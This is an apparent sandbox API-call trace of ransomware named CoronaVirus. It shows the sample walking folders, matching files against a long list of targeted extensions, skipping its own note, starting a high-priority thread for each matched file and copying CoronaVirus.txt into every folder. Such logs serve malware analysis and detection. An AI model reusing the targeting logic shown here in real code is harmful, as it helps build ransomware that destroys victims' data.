	[0082.077] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.077] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.077] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.077] malloc (_Size=0x1000) returned 0x2f202e8
	[0082.077] _swprintf (in: param_1=0x2f202e8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\CoronaVirus.txt") returned 42
	[0082.077] wcsstr (_Str="C:\\588bce7c90097ed212\\1055\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.077] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0082.077] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0082.077] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.078] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0082.078] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0082.079] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.079] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0082.080] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.080] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0082.080] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.080] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0082.080] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.080] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0082.080] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.080] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0082.080] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.080] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0082.080] malloc (_Size=0x1000) returned 0x2f13060
	[0082.080] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0082.080] wcsstr (_Str="C:\\588bce7c90097ed212\\1055\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0082.080] wcsstr (_Str="C:\\588bce7c90097ed212\\1055\\eula.rtf", _SubStr="wasse") returned 0x0
	[0082.080] wcsstr (_Str="C:\\588bce7c90097ed212\\1055\\eula.rtf", _SubStr="passw") returned 0x0
	[0082.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0082.080] SetThreadPriority (hThread=0x48c, nPriority=15) returned 1
	[0082.082] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0082.082] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0082.082] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0082.084] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.084] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.084] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.085] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.085] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.085] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.085] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.085] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.085] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.085] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.085] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.085] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.085] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.085] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.086] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.086] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.086] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.086] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.086] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.089] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.089] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.089] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.089] malloc (_Size=0x1000) returned 0x2f13060
	[0082.089] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0082.090] wcsstr (_Str="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.090] wcsstr (_Str="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0082.090] wcsstr (_Str="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0082.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac
	[0082.090] SetThreadPriority (hThread=0x4ac, nPriority=15) returned 1
	[0082.092] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0082.092] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.092] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.092] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.092] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.092] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.092] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.092] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.092] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.092] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.092] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.092] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.109] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.109] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.110] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.110] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.111] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.111] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.112] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.112] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.112] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.112] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.112] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.112] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.112] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.112] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0082.112] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0082.112] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1
	[0082.112] wcsncmp (_String1="2", _String2=".", _MaxCount=0x1) returned 4
	[0082.112] wcsncmp (_String1="20", _String2="..", _MaxCount=0x2) returned 4
	[0082.112] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2052") returned 26
	[0082.112] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.112] wcsstr (_Str="C:\\588bce7c90097ed212\\2052", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.112] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.127] _alloca_probe () returned 0x4036d0
	[0082.127] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2052", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\2052", lpFilePart=0x316583c*="2052") returned 0x1a
	[0082.127] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea4f1e37, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0082.128] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.128] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea4f1e37, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.128] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.128] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea4cbc2e, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea4cbc2e, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.128] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.128] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.128] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.128] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.128] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.128] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.128] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.128] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.128] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.128] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.128] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.128] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.128] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.128] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.128] malloc (_Size=0x1000) returned 0x2f24528
	[0082.128] _swprintf (in: param_1=0x2f24528, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\CoronaVirus.txt") returned 42
	[0082.128] wcsstr (_Str="C:\\588bce7c90097ed212\\2052\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.128] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0082.128] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0082.128] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0082.128] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.128] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0082.128] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
